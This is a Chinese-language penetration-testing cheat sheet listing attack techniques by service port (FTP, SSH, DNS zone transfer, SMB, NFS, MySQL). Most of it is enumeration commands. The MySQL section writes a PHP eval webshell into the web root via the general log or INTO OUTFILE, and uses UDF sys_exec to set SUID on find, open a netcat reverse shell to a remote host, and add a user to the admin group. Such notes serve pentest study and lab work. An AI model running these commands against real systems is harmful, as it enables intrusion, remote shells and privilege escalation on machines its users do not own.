服务和端口利用

ftp/21

匿名登录, 用户名anonymous, 密码为空

一进入ftp就要切换为二进制模式, 可以避免下载的可执行文件损坏, 命令为binary

如果要下载多个文件, 首先利用prompt关闭交互式的提示模式, 随后用mget *.txt一次下载当前位置所有的txt文件

ssh/22

比较旧的版本可以用msf的脚本获取部分用户信息, 剩下的就是爆破或者信息收集从而登录

stmp/25 信息枚举

工具: smtp-user-enum命令

dns/53 信息泄露

DNS域传送漏洞, 允许任意IP主机向DNS服务器请求同步信息, 就会出现该漏洞

该命令的解释为: 从10.10.10.10主机的DNS服务上请求与test.com有关的所有域名解析关系条目

dig @10.10.10.10 axfr test.com

finger/79 信息泄露

工具: finger命令

pop3/110

反正试过包含pop3日志达到getshell

rpcbind/111 信息泄露

简称rpc rpcinfo -p 192.168.56.101

smb/445

永恒之蓝警告

# 查看共享文件夹信息
smbmap -H 192.168.56.104
# 查看详细信息
smbclient //192.168.11.136/smbdata

nfs/2049

nfs挂载 远程登录, 配合文件getshell/ssh毒化

NFS通常与 Kerberos 配对以实现强大的身份验证机制, 因为NFS本身仅根据用户的UID/GID对用户进行身份验证, 非常不安全

一旦NFS文件系统被远程主机以读/写权限成功挂载, 每个共享文件的唯一保护就是它的权限; 此权限绑定到用户的用户ID; 如果共享相同用户ID的两个用户挂载相同的NFS文件系统, 可以修改彼此的文件

如果目标没有 Kerberos 设置, 只需找到经过身份验证以使用NFS的用户的UID和GUID, 并创建具有相同UID和GUID的用户即可. 但是目标中如果没有任何用户的UID或GID, 这意味着即使挂载了该共享, 无法访问NFS共享

# 可挂载目录
showmount -e 192.168.110.132
# 挂载到本地
mount -t nfs 192.168.110.132:/home/vulnix /tmp/nfs

mysql/3306

直接写入木马

要求: secure_file_priv变量非NULL, 用户拥有root权限, 知道当前网站的绝对路径

日志文件写马

// 查看是否满足第一条
select @@secure_file_priv
// 查看日志记录是否开启和查看路径
show variables like '%general%';
// 开启日志读写功能
SET GLOBAL general_log='on'; SHOW VARIABLES LIKE '%general%';

利用方式(蚁剑连接即可):

// 第一种
select '一句话木马' into dumpfile/outfile '绝对路径'
// 第二种
SET GLOBAL general_log_file='C:/www/shell.php'
SELECT '<?php eval($_POST["cmd"]);?>'

MySQL UDF

UDF(User Defined Function, 用户自定义函数), 可以通过UDF在Mysql中调用一些其原来不具备的功能. 提权需要的条件如下:

MySQL版本大于5, 且存在lib_mysqludf_sys, 查看是否存在方式如下

use mysql
select * from func;

如果没有, 则需要手动添加(稍微复杂)

手动添加需要MySQL是以root权限启动, 这样能执行的命令才是root权限, 而自带的这个没说, 遇到了再说吧

拥有该函数后, 可以有这些提权方法

  1. 构建SUID程序
  2. 创建反弹shell
  3. 添加用户到管理员组
# 构建SUID程序, 常用find
SELECT sys_exec('chmod u+s /usr/bin/find');
# 反弹shell到192.168.1.2
SELECT sys_exec('/bin/nc.traditional -e /bin/sh 192.168.1.2 1234')
# robert用户组更改
SELECT sys_exec('usermod -a -G admin robert')